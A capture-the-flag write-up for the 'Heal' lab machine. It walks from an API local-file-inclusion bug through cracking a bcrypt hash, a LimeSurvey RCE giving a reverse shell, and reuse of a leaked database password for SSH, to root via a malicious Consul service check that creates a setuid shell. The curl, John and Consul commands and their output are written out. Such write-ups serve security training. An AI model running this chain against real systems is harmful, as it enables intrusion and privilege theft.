Skip to content

Heal

Initial Scan

Discovered open port 22/tcp on 10.10.11.46
Discovered open port 80/tcp on 10.10.11.46

Port 22 is SSH, port 80 is HTTP (nginx).


Enumeration

Adding hosts to /etc/hosts:

10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb

The main site at heal.htb points to a registration/login form backed by an API at api.heal.htb.


Foothold

API File Download / LFI

The API endpoint GET /download?filename= is vulnerable to local file inclusion. A JWT token is required but obtained through normal registration:

curl 'http://api.heal.htb/download?filename=/etc/passwd' \
  -H 'Authorization: Bearer <token>'

The JWT payload is trivial ({"user_id":7}), no secret validation on our side.

SQLite Database

Downloading the application database:

curl "http://api.heal.htb/download?filename=/path/to/db.sqlite" \
  -H 'Authorization: Bearer <token>' -o db.sqlite
sqlite3 db.sqlite
sqlite> select * from users;

Ralph's account contains a bcrypt hash:

Email Username Hash Admin
ralph@heal.htb ralph $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG Yes

Cracking with John:

echo '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG' > hash
john --wordlist=~/wordlists/rockyou.txt hash
147258369        (?)

LimeSurvey RCE

Logging into take-survey.heal.htb/index.php/admin with ralph@heal.htb:147258369.

LimeSurvey 6.x is vulnerable to RCE via the survey template upload: - https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE

Exploiting gets a reverse shell as www-data.


Lateral Movement

Reading the LimeSurvey config file application/config/config.php reveals PostgreSQL credentials:

'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
'username' => 'db_user',
'password' => 'AdmiDi0_pA$$w0rd',

These credentials work for SSH as ron:

ssh ron@10.10.11.46
# password: AdmiDi0_pA$$w0rd
ron@heal:~$ cat user.txt
***

Privilege Escalation

Consul is running locally with ACL default policy set to allow. The config is at /etc/consul.d/config.json.

Registering a malicious service with a check that executes a script:

# Create privesc script
cat > /tmp/rootme.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/rootme.sh
curl --request PUT http://127.0.0.1:8500/v1/agent/service/register \
  --header "Content-Type: application/json" \
  --data '{
    "Name": "pwnme",
    "ID": "pwnme",
    "Port": 80,
    "Check": {
      "Args": ["/tmp/rootme.sh"],
      "Interval": "10s"
    }
  }'

After the check executes (within ~10 seconds):

ls -la /tmp/rootbash
# -rwsr-sr-x 1 root root 1396520 ...

/tmp/rootbash -p
rootbash-5.1# id
uid=1001(ron) gid=1001(ron) euid=0(root) egid=0(root) groups=0(root),1001(ron)
rootbash-5.1# cat /root/root.txt
***

Flags

user.txt: *** root.txt: ***